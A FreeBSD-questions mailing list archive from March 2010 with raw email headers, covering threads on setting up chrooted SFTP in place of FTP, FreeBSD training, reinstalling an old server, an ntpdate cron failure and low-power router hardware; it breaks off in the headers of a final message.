<201003120827.o2C8RChV025564@banyan.cs.ait.ac.th> Date: Fri, 12 Mar 2010 10:07:33 +0000 Message-ID: From: krad To: Olivier Nicole Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org, leslie@eskk.nu Subject: Re: I want to instal a "secure" ftp server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 10:07:35 -0000 On 12 March 2010 08:27, Olivier Nicole wrote: > Hi, > > > I need to have ftp access to a machine. I've found pure-ftpd but it was > > Hummm, you want the short answer? Don't enable ftp :) > > Ftp only accepts plain text passwords (until you enable things like > kerebos, one time password, etc), so it is not, it cannot be, secure. > > SFTP is there, working easily, ready to use, with a decent Windows > client WinSCP (winscp.net) > > Best regards, > > Olivier > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > enable sftp in ssh and chroot all the users and make the sftp only accounts I wrote this guide for work a year or so ago. It was for solaris but it was using openssh so should work fine on bsd 1. Dont bother with sun ssh it wont work. Opensolaris and later solaris 10 are bundled with openssh though. 2. Make sure openssh version is 5 or above (some 4s do work but 5 better) 3. Add these lines to sshd config Match Group sftponly ChrootDirectory /home/chroot/%u X11Forwarding no AllowTcpForwarding no ForceCommand internal-sftp 4. Make sure the Subsystem line is this Subsystem sftp internal-sftp 5. create the sftponly group on the system 6. put the relevent users in this group. be careful as you will stop them being able to ssh in!! 7. Dead important this bit !!! mkdir -p /home/chroot//home//.ssh chown -R root /home/chroot/ chown -R /home/chroot/ chmod -R 755 /home/chroot/ /home/chroot//home/ ln -s /home/chroot//home/ /home/. 8. Put their ssh keys in /home/chroot//home//.ssh All should now work From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 10:20:38 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7574E106564A for ; Fri, 12 Mar 2010 10:20:38 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id DD23B8FC08 for ; Fri, 12 Mar 2010 10:20:37 +0000 (UTC) Received: from seedling.black-earth.co.uk (seedling.black-earth.co.uk [81.187.76.163]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.4/8.14.4) with ESMTP id o2CAKWSA082041 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 12 Mar 2010 10:20:32 GMT (envelope-from m.seaman@infracaninophile.co.uk) Message-ID: <4B9A1570.4090500@infracaninophile.co.uk> Date: Fri, 12 Mar 2010 10:20:32 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-GB; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: ssw@joodtelecomgroup.com References: <009f01cac13a$279e7340$76db59c0$@joodtelecomgroup.com> In-Reply-To: <009f01cac13a$279e7340$76db59c0$@joodtelecomgroup.com> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: clamav-milter 0.95.3 at happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-1.1 required=5.0 tests=BAYES_00,DKIM_ADSP_ALL, SPF_FAIL autolearn=no version=3.3.0 X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on happy-idiot-talk.infracaninophile.co.uk Cc: freebsd-questions@freebsd.org Subject: Re: Training Courses. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 10:20:38 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 11/03/2010 16:44:38, Ameed Imad wrote: > I would like to know from where can we get FreeBSD training to become able > to administrate FreeBSD servers. Formal training courses in FreeBSD administration will be few and far between. FreeBSD isn't supported by any commercial organization that tries to create a market in FreeBSD-related jobs -- some would say that a direct consequence of this is the high quality of FreeBSD itself, and of the typical people that work with it. Your best bet would be to find a contractor willing to provide some training courses. Most people achieve competence at dealing with FreeBSD by their own independent efforts: by playing with the OS as a hobby, reading books and documentation, by absorbing knowledge from colleagues. It's not a learning style that suits everyone, and the informal nature of such learning means that it can be hard to assess competence simply from a CV or job application. Hence there has been a move to providing BSD Certification in recent years (not just Free- but Open-, Net- etc): see http://www.bsdcertification.org/ Cheers, Matthew - -- Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.14 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkuaFXAACgkQ8Mjk52CukIyzsQCcDDHj/gqeDTNf673C37LfU45K ExIAn3r6G/l3DKp00Mr8iH7R0igemTC+ =0RwN -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 10:29:23 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 11EF0106564A for ; Fri, 12 Mar 2010 10:29:23 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id C70F08FC0A for ; Fri, 12 Mar 2010 10:29:22 +0000 (UTC) Received: from r55.edvax.de (port-92-195-110-166.dynamic.qsc.de [92.195.110.166]) by mx01.qsc.de (Postfix) with ESMTP id 9E10C3E2CA; Fri, 12 Mar 2010 11:29:16 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id o2CATFNA001595; Fri, 12 Mar 2010 11:29:16 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Fri, 12 Mar 2010 11:29:15 +0100 From: Polytropon To: Jorge Biquez Message-Id: <20100312112915.ef8cfb04.freebsd@edvax.de> In-Reply-To: <3351212956-2078109201@intranet.com.mx> References: <3351212956-2078109201@intranet.com.mx> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD Version recommend for OLD machine X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 10:29:23 -0000 On Thu, 11 Mar 2010 22:29:13 -0600, Jorge Biquez wrote: > It won't do anything else but a dns slave for maybe 100 domains, mail > and squirrel for 10 domain, not more than 100 users with very low > volume. That's all. > > Can you give me your opinions on what would you? > > - To re-install the version that it used to has from zero and let it > work again for some other years. > > - Try a new version (maybe it is more secure or faster) and if > so..... which one? > (in all these years even when the machine is on the Internet and LOT > of people has tried to hacked it daily, in all these years we have > never had a problem.) > > Thanks in advance for your advice. You won't encounter problems running the latest FreeBSD. This OS, I may emphasize this, does run FASTER and BETTER with each release on the SAME hardware. Sadly, this doesn't always apply for application software, which tends to "benefit" from bloat. But as you said you don't want a workstation, but a server, you sould install FreeBSD 8 and incorporate the security updates, e. g. via freebsd-update. So you can be sure to have a secure system all the time. DNS and squirrel don't seem to bring in any problems, from my opinion. So, my advice would be: 1. Get all your data from the machine. 2. Install FreeBSD 8 from scratch. This gives you the chance to possible re-partition, if you need to. 3. Update to the latest security patchlevel. 4. Update your ports collection. 5. Install the programs you need, or use "pkg_add -r", which may be the better solution if you have an "old" system; in this case, step 4 can be omitted. 6. Configure your services. 7. Re-import your data, configure everything properly. 8. Give it a test run. 9. Yay! You did it! =^_^= -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 10:37:08 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C23731065675 for ; Fri, 12 Mar 2010 10:37:08 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from mx1.bjare.net (mx1.bjare.net [212.31.160.3]) by mx1.freebsd.org (Postfix) with ESMTP id 55FD58FC24 for ; Fri, 12 Mar 2010 10:37:08 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by mx1.bjare.net (Postfix) with ESMTP id 63B4F5E1AC; Fri, 12 Mar 2010 11:37:07 +0100 (CET) X-Virus-Scanned: Debian amavisd-new at mx1.bjare.net X-Spam-Flag: NO X-Spam-Score: -1.864 X-Spam-Level: X-Spam-Status: No, score=-1.864 tagged_above=-999 required=5 tests=[AWL=-0.169, BAYES_00=-2.599, RCVD_IN_PBL=0.905, SPF_PASS=-0.001] Received: from mx1.bjare.net ([127.0.0.1]) by localhost (mx1.bjare.net [127.0.0.1]) (amavisd-new, port 10024) with LMTP id WZWqCEQBozVA; Fri, 12 Mar 2010 11:37:05 +0100 (CET) X-BN-MX1: ja X-BN-MailInfo: BjareNet Received: from [172.17.0.140] (c-195-216-040-164.static.bjare.net [195.216.40.164]) by mx1.bjare.net (Postfix) with ESMTP id DC1825E1E0; Fri, 12 Mar 2010 11:37:04 +0100 (CET) Message-ID: <4B9A1954.9070201@eskk.nu> Date: Fri, 12 Mar 2010 11:37:08 +0100 From: Leslie Jensen User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: krad References: <4B99F9CB.8010601@eskk.nu> <201003120827.o2C8RChV025564@banyan.cs.ait.ac.th> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: I want to instal a "secure" ftp server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 10:37:08 -0000 krad skrev 2010-03-12 11:07: > > enable sftp in ssh and chroot all the users and make the sftp only accounts > > I wrote this guide for work a year or so ago. It was for solaris but it was > using openssh so should work fine on bsd > > > 1. Dont bother with sun ssh it wont work. Opensolaris and later solaris > 10 are bundled with openssh though. > 2. Make sure openssh version is 5 or above (some 4s do work but 5 better) > 3. Add these lines to sshd config > > Match Group sftponly > ChrootDirectory /home/chroot/%u > X11Forwarding no > AllowTcpForwarding no > ForceCommand internal-sftp > > 4. Make sure the Subsystem line is this > > Subsystem sftp internal-sftp > > 5. create the sftponly group on the system > 6. put the relevent users in this group. be careful as you will stop them > being able to ssh in!! > 7. Dead important this bit !!! > > mkdir -p /home/chroot//home//.ssh > chown -R root /home/chroot/ > chown -R /home/chroot/ > chmod -R 755 /home/chroot/ /home/chroot//home/ > ln -s /home/chroot//home/ /home/. > > 8. Put their ssh keys in /home/chroot//home//.ssh > > All should now work > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" This sounds as a solution I can use :-) Will Windows users be able to use an ftp client to connect? I've never implemented ssh with ftp before so I want to clarify for my understanding. Thanks /Leslie From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 10:54:45 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 385EB106566C for ; Fri, 12 Mar 2010 10:54:45 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id 9A5838FC18 for ; Fri, 12 Mar 2010 10:54:44 +0000 (UTC) Received: from seedling.black-earth.co.uk (seedling.black-earth.co.uk [81.187.76.163]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.4/8.14.4) with ESMTP id o2CAsc7F082397 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 12 Mar 2010 10:54:38 GMT (envelope-from m.seaman@infracaninophile.co.uk) Message-ID: <4B9A1D6E.9030403@infracaninophile.co.uk> Date: Fri, 12 Mar 2010 10:54:38 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-GB; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: Leslie Jensen References: <4B99F9CB.8010601@eskk.nu> <201003120827.o2C8RChV025564@banyan.cs.ait.ac.th> <4B9A1954.9070201@eskk.nu> In-Reply-To: <4B9A1954.9070201@eskk.nu> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: clamav-milter 0.95.3 at happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-1.1 required=5.0 tests=BAYES_00,DKIM_ADSP_ALL, SPF_FAIL autolearn=no version=3.3.0 X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on happy-idiot-talk.infracaninophile.co.uk Cc: krad , freebsd-questions@freebsd.org Subject: Re: I want to instal a "secure" ftp server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 10:54:45 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 12/03/2010 10:37:08, Leslie Jensen wrote: > Will Windows users be able to use an ftp client to connect? I've never > implemented ssh with ftp before so I want to clarify for my understanding. No, they'll need a SSH/SFTP client to be able to connect. Don't worry though -- the clients work exactly like FTP clients: it's all the underlying stuff that's different and much more secure. Try WinSCP (http://winscp.net/eng/docs/introduction) as a client. It works very much like Norton Commander. Plus it's Free. Or putty for those that prefer a CLI environment (http://www.chiark.greenend.org.uk/~sgtatham/putty/) Cheers, Matthew - -- Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.14 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkuaHW4ACgkQ8Mjk52CukIz8UwCfZqVcq6UILeVwC+80oNORIO1L Ex0An0fo8tIxfLtr7kMCiGlB3yC/8i8D =DuK8 -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 10:57:46 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0D00F1065674 for ; Fri, 12 Mar 2010 10:57:46 +0000 (UTC) (envelope-from antoniok.spb@gmail.com) Received: from mail-fx0-f209.google.com (mail-fx0-f209.google.com [209.85.220.209]) by mx1.freebsd.org (Postfix) with ESMTP id 97D1C8FC21 for ; Fri, 12 Mar 2010 10:57:45 +0000 (UTC) Received: by fxm1 with SMTP id 1so336841fxm.13 for ; Fri, 12 Mar 2010 02:57:44 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:from:date:message-id :subject:to:content-type; bh=XlkANxhKeaJBfgowH5keq7OChxp+rDTcAGfGKCqzKPY=; b=LK2WqH54JRWvuxxDP+JdM9qcFSl3JOwKm8lIRdsBG0+voG7VBlzX1ua8rfhr3005L7 uhDYgKXeo4ZNyWdn1OjWChIHslFILWQ36LPiGbQyKKWTKssRXSciKsE0wiSsDsK1mRC6 CSf4PTesfX3VE/A2+gCCtHRQ2DQ+IluSY0Fx8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:from:date:message-id:subject:to:content-type; b=Ap8zTxkb+h82ImLRyrolpsVctUNDPgo/XvlunsVpL7zpcTBhvhE+4u3X5p+kYtP4F0 7+4sllxBfyDy0KjWXzMgk/nK76nnshQ1p0ktfzkJGLdjaWNVIM6qbkonOkZ82LZZklgM wDsigRmgam0gT2i4L+3G/l4tg+AVoCV0gXdEc= MIME-Version: 1.0 Received: by 10.239.187.131 with SMTP id l3mr474428hbh.104.1268391464169; Fri, 12 Mar 2010 02:57:44 -0800 (PST) From: =?UTF-8?B?0JDQvdGC0L7QvSDQmtC70LXRgdGB?= Date: Fri, 12 Mar 2010 13:57:24 +0300 Message-ID: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 10:57:46 -0000 I have the following line in my root cron: 5 * * * * /usr/sbin/ntpdate ru.pool.ntp.org > /dev/null That must hourly adjust system time via NTP. But I discover that it works from time to time: some days just once, some days 5-6 times a day I receive e-mail with text like 12 Mar 12:05:05 ntpdate[25368]: no server suitable for synchronization found But if I log in to server and run # /usr/sbin/ntpdate ru.pool.ntp.org everything always works OK: it says 12 Mar 13:51:57 ntpdate[27256]: adjust time server 80.93.56.210 offset -0.616000 sec Maybe NTP server doesn't like when some client (my server) asks it such way - once a hour in same minute - and blocks my queries? Any suggestions? From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 11:06:01 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CD49F106564A for ; Fri, 12 Mar 2010 11:06:01 +0000 (UTC) (envelope-from cpghost@cordula.ws) Received: from mail-bw0-f216.google.com (mail-bw0-f216.google.com [209.85.218.216]) by mx1.freebsd.org (Postfix) with ESMTP id 6AF3E8FC1A for ; Fri, 12 Mar 2010 11:06:01 +0000 (UTC) Received: by bwz8 with SMTP id 8so919061bwz.3 for ; Fri, 12 Mar 2010 03:06:00 -0800 (PST) MIME-Version: 1.0 Received: by 10.204.34.10 with SMTP id j10mr899464bkd.87.1268391956672; Fri, 12 Mar 2010 03:05:56 -0800 (PST) X-Originating-IP: [93.203.48.106] In-Reply-To: <4B99D335.8010800@markshroyer.com> References: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> <44ocivszcb.fsf@be-well.ilk.org> <4B99D335.8010800@markshroyer.com> Date: Fri, 12 Mar 2010 12:05:56 +0100 Message-ID: From: "C. P. Ghost" To: Mark Shroyer Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: freebsd-questions@freebsd.org Subject: Re: Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 11:06:01 -0000 On Fri, Mar 12, 2010 at 6:37 AM, Mark Shroyer wrote: >> Bear in mind that the added electricity costs will more than cover the >> cost of a new Linksys (or equivalent) router in a few months. > > If energy consumption is a concern, you might try one of these: > > http://www.pcengines.ch/alix2d3.htm > > I've been running OpenBSD on mine for a year or so, and it makes an > absolutely fantastic home router. =A0It'll run FreeBSD, too. =A0Uses abou= t 5 > watts. Yep! Geode-based boxes are great. The ALIX boards are looking like Soekris gear, which I'm very happy with (of course running FreeBSD): http://www.soekris.com/net5501.htm > My one caveat is that you may want to solder on an RTC battery (CR2032) > holder--or just pay a little extra for the alix2d13, which includes the > holder, if you don't like soldering things. > > -- > Mark Shroyer > http://markshroyer.com/contact/ -cpghost. --=20 Cordula's Web. http://www.cordula.ws/ From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 11:09:23 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E7B67106566B for ; Fri, 12 Mar 2010 11:09:23 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from mx1.bjare.net (mx1.bjare.net [212.31.160.3]) by mx1.freebsd.org (Postfix) with ESMTP id A4A1A8FC25 for ; Fri, 12 Mar 2010 11:09:23 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by mx1.bjare.net (Postfix) with ESMTP id 989215E32C; Fri, 12 Mar 2010 12:09:22 +0100 (CET) X-Virus-Scanned: Debian amavisd-new at mx1.bjare.net X-Spam-Flag: NO X-Spam-Score: -1.865 X-Spam-Level: X-Spam-Status: No, score=-1.865 tagged_above=-999 required=5 tests=[AWL=-0.170, BAYES_00=-2.599, RCVD_IN_PBL=0.905, SPF_PASS=-0.001] Received: from mx1.bjare.net ([127.0.0.1]) by localhost (mx1.bjare.net [127.0.0.1]) (amavisd-new, port 10024) with LMTP id eNZF45jCpM0L; Fri, 12 Mar 2010 12:09:19 +0100 (CET) X-BN-MX1: ja X-BN-MailInfo: BjareNet Received: from [172.17.0.140] (c-195-216-040-164.static.bjare.net [195.216.40.164]) by mx1.bjare.net (Postfix) with ESMTP id 3040A5E318; Fri, 12 Mar 2010 12:09:19 +0100 (CET) Message-ID: <4B9A20E2.8010102@eskk.nu> Date: Fri, 12 Mar 2010 12:09:22 +0100 From: Leslie Jensen User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: =?UTF-8?B?0JDQvdGC0L7QvSDQmtC70LXRgdGB?= References: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> In-Reply-To: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Cc: freebsd-questions@freebsd.org Subject: Re: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 11:09:24 -0000 ŠŠ½Ń‚Š¾Š½ ŠšŠ»ŠµŃŃ skrev 2010-03-12 11:57: > I have the following line in my root cron: > > 5 * * * * /usr/sbin/ntpdate ru.pool.ntp.org> /dev/null > > That must hourly adjust system time via NTP. > But I discover that it works from time to time: some days just once, some > days 5-6 times a day I receive e-mail with text like > > 12 Mar 12:05:05 ntpdate[25368]: no server suitable for synchronization found > > > But if I log in to server and run > > # /usr/sbin/ntpdate ru.pool.ntp.org > > everything always works OK: it says > > 12 Mar 13:51:57 ntpdate[27256]: adjust time server 80.93.56.210 offset > -0.616000 sec > > > Maybe NTP server doesn't like when some client (my server) asks it such way > - once a hour in same minute - and blocks my queries? > > Any suggestions? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" Why don't you enable NTP in rc.conf? http://www.se.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-ntp.html # NTP ntpd_enable="YES" ntpd_config="/etc/ntp.conf" ntpd_flags="-p /var/run/ntpd.pid" ntpd_sync_on_start="YES" /Leslie From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 11:15:50 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8AEEA106564A for ; Fri, 12 Mar 2010 11:15:50 +0000 (UTC) (envelope-from cpghost@cordula.ws) Received: from mail-bw0-f216.google.com (mail-bw0-f216.google.com [209.85.218.216]) by mx1.freebsd.org (Postfix) with ESMTP id 2B7728FC0A for ; Fri, 12 Mar 2010 11:15:49 +0000 (UTC) Received: by bwz8 with SMTP id 8so925780bwz.3 for ; Fri, 12 Mar 2010 03:15:49 -0800 (PST) MIME-Version: 1.0 Received: by 10.204.135.153 with SMTP id n25mr302800bkt.156.1268392548900; Fri, 12 Mar 2010 03:15:48 -0800 (PST) X-Originating-IP: [93.203.48.106] In-Reply-To: <3351212956-2078109201@intranet.com.mx> References: <3351212956-2078109201@intranet.com.mx> Date: Fri, 12 Mar 2010 12:15:48 +0100 Message-ID: From: "C. P. Ghost" To: Jorge Biquez Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD Version recommend for OLD machine X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 11:15:50 -0000 On Fri, Mar 12, 2010 at 5:29 AM, Jorge Biquez wrote: > The machine has a Motherboard that supports 2 double pentium III processors > with 1GB of ram and a hard disk with 40GB. > > It won't do anything else but a dns slave for maybe 100 domains, mail and > squirrel for 10 domain, not more than 100 users with very low volume. That's > all. Wow, that's a big and fast machine, compared to some of the really OLD boxes that run FreeBSD 8.0 just fine with a load similar to yours (some of them with 500 MHz CPUs, 128 MB RAM and 20 GB disks). For server needs, go for 8.0, you won't regret it. -cpghost. -- Cordula's Web. http://www.cordula.ws/ From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 11:55:55 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9EEC2106564A for ; Fri, 12 Mar 2010 11:55:55 +0000 (UTC) (envelope-from carmel_ny@hotmail.com) Received: from blu0-omc4-s22.blu0.hotmail.com (blu0-omc4-s22.blu0.hotmail.com [65.55.111.161]) by mx1.freebsd.org (Postfix) with ESMTP id 5530B8FC26 for ; Fri, 12 Mar 2010 11:55:55 +0000 (UTC) Received: from BLU0-SMTP34 ([65.55.111.135]) by blu0-omc4-s22.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 12 Mar 2010 03:55:54 -0800 X-Originating-IP: [67.189.160.65] X-Originating-Email: [carmel_ny@hotmail.com] Message-ID: Received: from scorpio.seibercom.net ([67.189.160.65]) by BLU0-SMTP34.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959); Fri, 12 Mar 2010 03:55:53 -0800 Received: from scorpio.seibercom.net (scorpio.seibercom.net [192.168.1.101]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: carmel_ny@scorpio.seibercom.net) by scorpio.seibercom.net (Postfix) with ESMTPSA id B3C9A22848 for ; Fri, 12 Mar 2010 06:55:52 -0500 (EST) Date: Fri, 12 Mar 2010 06:55:52 -0500 From: Carmel To: freebsd-questions@freebsd.org Organization: seibercom.net X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; i386-portbld-freebsd7.3) Face: 